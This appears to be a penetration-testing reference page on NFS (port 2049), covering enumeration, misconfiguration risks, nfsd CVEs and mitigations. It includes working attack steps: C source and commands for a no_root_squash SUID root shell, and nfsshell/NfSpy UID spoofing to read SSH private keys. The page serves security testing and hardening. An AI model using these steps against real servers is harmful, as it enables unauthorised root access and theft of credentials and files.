Port 2049 – NFS (Network File System)

Port 2049 is the default port for NFS (Network File System), the protocol a client uses to read and write files on a remote server as if the share were a local disk. This is the NFS data plane — the nfsd (rpc.nfsd) server that actually serves file contents, handles READ/WRITE/LOOKUP/READDIR operations, and hands back your data. In an NFS deployment three services work together: rpcbind on port 111 is the directory that locates services, mountd on port 892 grants the mount and hands out the initial file handle, and nfsd on port 2049 is where the files actually move. That makes 2049 the port a pentester cares about most: once you can reach it and mount an export, you are reading — and often writing — someone else’s filesystem.

Why It’s Open

You’ll find nfsd listening on 2049 on almost any Unix or Linux file server, NAS appliance, storage array, virtualization host (VMware/Proxmox datastores frequently ride NFS), Kubernetes persistent-volume backends, and older Solaris/AIX/HP-UX boxes. Admins enable NFS for centralized home directories, shared application data, backups, and DB dumps — anywhere many hosts need the same files. NFSv3 spreads its work across rpcbind (111), mountd (892), statd, and lockd, but NFSv4 collapses all of that onto port 2049 alone — mounting, locking, and file access are one protocol on one port, no portmapper or mountd required. So a lone open 2049 with no 111/892 beside it usually means NFSv4, while 2049 sitting next to 111 and 892 usually means NFSv3.

Common Risks

• Mountable exports = direct file access. The whole point of nfsd is serving files. If an export is reachable and readable, you mount it and copy off whatever’s inside — source code, backups, database dumps, /home directories, and SSH private keys. No login prompt sits in front of the data.
• no_root_squash privilege escalation. The signature NFS finding. If an export is shared with no_root_squash, root on the client maps to root on the server’s filesystem. Mount it from a box where you’re root, drop a root-owned SUID binary into the share, then execute it back on the target as any user to get an instant root shell (worked through below, and covered from the mount side on port 892).
• AUTH_SYS UID/GID spoofing. NFSv3 with sec=sys (the default) trusts the UID and GID the client sends on every request — there is no real authentication. A tool like nfsshell or NfSpy lets you set an arbitrary UID, so you become any user (uid 1000, and often uid 0 depending on squash settings) and read or write their files.
• World-readable / over-broad exports. An export shared to * or a wide subnet is mountable by anyone who can route to 2049. Writable exports over a user’s home directory let an attacker plant an authorized_keys file for persistent SSH access on port 22.
• Internet exposure. NFS was designed for a trusted LAN. An nfsd facing the internet — or a flat network segment — turns every export misconfiguration into remote data theft.
• Kernel nfsd memory-corruption bugs. nfsd runs in the Linux kernel. It has had genuine remote and local flaws — buffer overflow, out-of-bounds write, and improper-initialization bugs that cause denial of service or worse (see the CVEs below).

Want to save time on reporting?

Let PentestPad generate, track, and export your reports - automatically.

Book a Demo

Enumeration & Testing

Detect the service on both transports

nmap -sV -p 2049 <target>
nmap -sU -sV -p 2049 <target>

Confirm nfsd and its versions via rpcbind

rpcinfo -p <target> | grep nfs

Program 100003 is nfs (nfsd). The reported versions (3, 4, 4.1, 4.2) tell you which protocol you’re dealing with — v3 needs mountd on 892, v4 talks to 2049 directly.

List NFSv3 exports and walk them with the nmap NSE scripts

showmount -e <target>                                    # exported dirs + who may mount
nmap -p 111,2049 --script=nfs-showmount,nfs-ls,nfs-statfs <target>

nfs-showmount lists exports, nfs-ls walks the files and their permissions, and nfs-statfs reports free space and mount details. A * or a wide CIDR next to an export is the finding.

Mount an NFSv3 export and read it

mkdir -p /mnt/nfs
mount -t nfs -o vers=3 <target>:/export /mnt/nfs
ls -lan /mnt/nfs        # note owner UIDs/GIDs — AUTH_SYS trusts them

Browse the NFSv4 pseudo-filesystem (no showmount needed)

# NFSv4 has no MOUNT protocol; mount the root pseudo-fs and browse it directly
mount -t nfs -o vers=4 <target>:/ /mnt/nfs
ls -lan /mnt/nfs

no_root_squash privilege escalation (as root on your own box)

# You are root on the CLIENT; the export on 2049 allows no_root_squash
mount -t nfs -o vers=3 <target>:/export /mnt/nfs
cat > /mnt/nfs/rootshell.c <<'EOF'
#include <unistd.h>
int main(){ setuid(0); setgid(0); execl("/bin/bash","bash","-p",NULL); }
EOF
gcc /mnt/nfs/rootshell.c -o /mnt/nfs/rootshell -w
chmod u+s /mnt/nfs/rootshell    # root-owned + SUID, because root isn't squashed

The SUID binary is now owned by root on the server. When any low-privileged user runs /export/rootshell on the target, it executes as root.

Spoof a UID with nfsshell / NfSpy (AUTH_SYS abuse)

# nfsshell: set an arbitrary UID/GID, then read files you shouldn't
nfsshell
nfs> host <target>
nfs> export
nfs> mount /export
nfs> uid 1000
nfs> gid 1000
nfs> cat /export/home/user/.ssh/id_rsa

NfSpy does the same by mounting with a forged UID (nfspy -o server=<target>:/export,hide,rw,uid=0). Both exploit the fact that NFSv3 AUTH_SYS never verifies who you claim to be.

Scan exports and mountability with Metasploit

msfconsole -q
use auxiliary/scanner/nfs/nfsmount
set RHOSTS <target>
run

The nfsmount scanner enumerates exports and flags which are mountable — a misconfiguration check, not a software-version exploit.

Log every reachable export, its options, each successful mount, and any file you pulled so it lands in the final pentest report instead of a scratch terminal.

What to Look For

Known CVEs and Exploits

The biggest risk on port 2049 is misconfiguration, not a single CVE — an over-broad export combined with no_root_squash is a straight path to root, and AUTH_SYS UID spoofing needs no exploit at all. Those are design/configuration issues in NFS, not software bugs; Metasploit’s nfsmount scanner even tracks the classic misconfig cases CVE-1999-0170 (export mountable despite restrictions) and CVE-1999-0554 (export not restricted to trusted hosts). That said, the kernel nfsd server itself has a real vulnerability history worth verifying against the running kernel version:

• CVE-2022-43945 — Buffer overflow in the Linux kernel nfsd implementation before 5.19.17 and 6.0.2. A client can force the send buffer to shrink by sending an RPC message over TCP with garbage appended, corrupting memory. Remote, unauthenticated denial of service (with a public reproduction/PoC); CVSS 7.5 (High). The most serious modern nfsd bug reachable straight over port 2049.
• CVE-2021-4090 — Out-of-bounds memory write in the Linux kernel nfsd NFSv4 decode path. A local user with access to the NFS server can write past a buffer, risking a crash or memory corruption; CVSS 7.1 (High).
• CVE-2024-42078 — Improper initialization in nfsd: nfsd_info.mutex can be dereferenced by svc_pool_stats_start() immediately after a new network namespace is created. Local denial of service; CVSS 5.5 (Medium). Recent proof that the in-kernel nfsd code still needs patching.

Archived NFS exploits and PoCs are searchable on Exploit-DB. Always confirm the running kernel/nfs-utils version — most real-world compromises on 2049 come from the export config, not these CVEs.

Mitigation

• Restrict every export to specific hosts. Name individual hosts or tight subnets in /etc/exports — never * and never expose NFS to the internet. Default to ro where writes aren’t needed.
• Keep root_squash; never no_root_squash. Root squashing is what stops the SUID-root escalation. Prefer all_squash with a low-privileged anonymous UID for any share that must be broadly readable. If a workload genuinely needs no_root_squash, isolate that export to one trusted host and firewall it hard.
• Move to NFSv4 + Kerberos. NFSv4 drops the separate mountd/rpcbind ports, and sec=krb5 / krb5i / krb5p replaces AUTH_SYS trust with real cryptographic authentication — killing UID spoofing. krb5p also encrypts the data on the wire.
• Firewall 2049 (and 111/892) to trusted hosts. NFS should only be reachable from the storage/management network. For NFSv4 you only need to allow 2049; for NFSv3 also restrict 111 and 892.
• Patch the kernel and nfs-utils. Run a kernel past the nfsd fixes above and confirm with rpcinfo / showmount after changes.
• Audit exports from an untrusted segment. Periodically run showmount -e (v3) or mount the v4 pseudo-fs against your own servers from outside the storage VLAN to catch a share that drifted open.

Real-World Example

The no_root_squash chain over NFS is one of the most reliable privilege-escalation paths in real engagements, and it shows up constantly on lab targets like Metasploitable and countless Hack The Box machines. The pattern is always the same: a scan finds nfsd on 2049 (often beside 111 and 892), showmount -e reveals an export shared to * with no_root_squash, and the tester mounts it from a box where they already have root. They compile a tiny SUID-root helper into the share, then run it back on the target as an unprivileged user and land a root shell — no memory-corruption exploit, no password, just an export that trusted the client too much. Internet-wide scans have repeatedly found hundreds of thousands of NFS servers exposing exports to the world, and ransomware crews have used exactly this reachable-export foothold to exfiltrate and encrypt shared files once inside a network — which is why “what does 2049 export, and how is it squashed?” is a first-move question on any host running NFS.

FAQ

What is port 2049 used for?

Port 2049 is the default port for NFS (Network File System). It’s the NFS data server — the nfsd daemon that reads and writes file contents for clients that have mounted a share. In NFSv4 it also handles mounting and locking, so the entire protocol runs on 2049 alone.

Is port 2049 dangerous?

The port itself just serves files; the danger is what the exports behind it allow. An export shared to *, an export set with no_root_squash, or plain AUTH_SYS trust each turn a reachable nfsd into file theft or a root pivot — usually without any software exploit. Treat any internet-facing port 2049 as something to firewall or move to NFSv4 + Kerberos.

What’s the difference between port 2049 (NFS) and ports 111 and 892?

They’re three parts of one system. Port 111 (rpcbind) is the directory that tells clients where services live; port 892 (mountd) authorizes NFSv3 mount requests and hands out the first file handle; port 2049 (nfsd) is where the files actually read and write. NFSv4 merges all three into port 2049 and no longer needs 111 or 892.

How do I secure or close port 2049?

Restrict /etc/exports to specific hosts with ro and root_squash, never export to *, and never use no_root_squash. Firewall 2049 (plus 111/892 for NFSv3) to trusted hosts, and move to NFSv4 with sec=krb5 where you can. If nothing uses NFS, stop the nfs-server/nfs-utils services and rescan to confirm 2049 is closed.

TL;DR

• Service: NFS (Network File System) — the nfsd / rpc.nfsd data server (NFSv3 and NFSv4)
• Default port: 2049/TCP and 2049/UDP (NFSv4 is single-port; NFSv3 also uses 111 + 892)
• Biggest risk: mountable exports, no_root_squash SUID-root escalation, and AUTH_SYS UID spoofing — misconfiguration more than any single CVE
• Mitigation: restrict exports to trusted hosts with root_squash, avoid no_root_squash, firewall 2049/111/892, and move to NFSv4 + Kerberos